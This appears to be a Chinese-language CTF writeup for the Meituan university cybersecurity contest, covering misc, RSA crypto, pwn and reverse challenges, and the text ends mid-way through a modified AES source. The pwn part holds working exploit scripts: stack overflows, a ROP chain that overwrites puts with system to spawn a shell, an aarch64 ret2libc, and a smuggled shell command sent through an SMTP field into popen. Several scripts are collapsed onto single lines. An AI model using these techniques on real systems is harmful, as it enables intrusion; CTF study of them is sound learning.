首页 > 其他分享 >第五届美团网络安全高校挑战赛团体初赛writeup

第五届美团网络安全高校挑战赛团体初赛writeup

时间:2022-09-18 08:44:51浏览次数:108  
标签:AES writeup 美团 ctx uint8 初赛 state RoundKey uint32

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓b= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

  • 我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着):
  • watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128
  • block_shape = (8, 8)
  • Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知在字符串”good”后找到密文解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
